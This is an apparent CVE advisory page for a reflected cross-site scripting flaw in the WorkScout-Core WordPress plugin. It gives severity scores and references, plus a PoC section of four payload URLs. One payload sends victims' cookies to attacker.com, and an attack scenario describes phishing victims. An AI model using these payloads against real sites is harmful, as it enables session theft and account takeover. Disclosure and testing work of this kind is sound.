CVE-2025-67960

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in purethemes WorkScout-Core workscout-core allows Reflected XSS.This issue affects WorkScout-Core: from n/a through <= 1.7.06.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

WorkScout-Core <= 1.7.06

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

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<!-- CVE-2025-67960 WorkScout-Core Reflected XSS PoC -->
<!-- Target: WordPress WorkScout-Core Plugin <= 1.7.06 -->
<!-- Type: Reflected XSS -->

<!-- PoC 1: Basic XSS via script tag -->
PoC URL 1:
https://target-site.com/?s=<script>alert(document.domain)</script>

<!-- PoC 2: XSS via img onerror handler -->
PoC URL 2:
https://target-site.com/?s=<img src=x onerror=alert('XSS')>

<!-- PoC 3: XSS via SVG element -->
PoC URL 3:
https://target-site.com/?s=<svg onload=alert(document.cookie)>

<!-- PoC 4: Cookie stealing payload -->
PoC URL 4:
https://target-site.com/?s=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

<!-- Attack Scenario: -->
<!-- 1. Attacker crafts malicious URL with XSS payload -->
<!-- 2. Attacker tricks victim into clicking the link (via phishing, social engineering) -->
<!-- 3. Victim's browser executes the injected JavaScript -->
<!-- 4. Attacker steals session cookies or performs actions on behalf of victim -->

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-67960
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-67960
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-67960/
[4] VulDB https://vuldb.com/cve/CVE-2025-67960
[5] https://patchstack.com/database/Wordpress/Plugin/workscout-core/vulnerability/wordpress-workscout-core-plugin-1-7-06-cross-site-scripting-xss-vulnerability-2?_s_id=cve

Raw JSON Data

JSON

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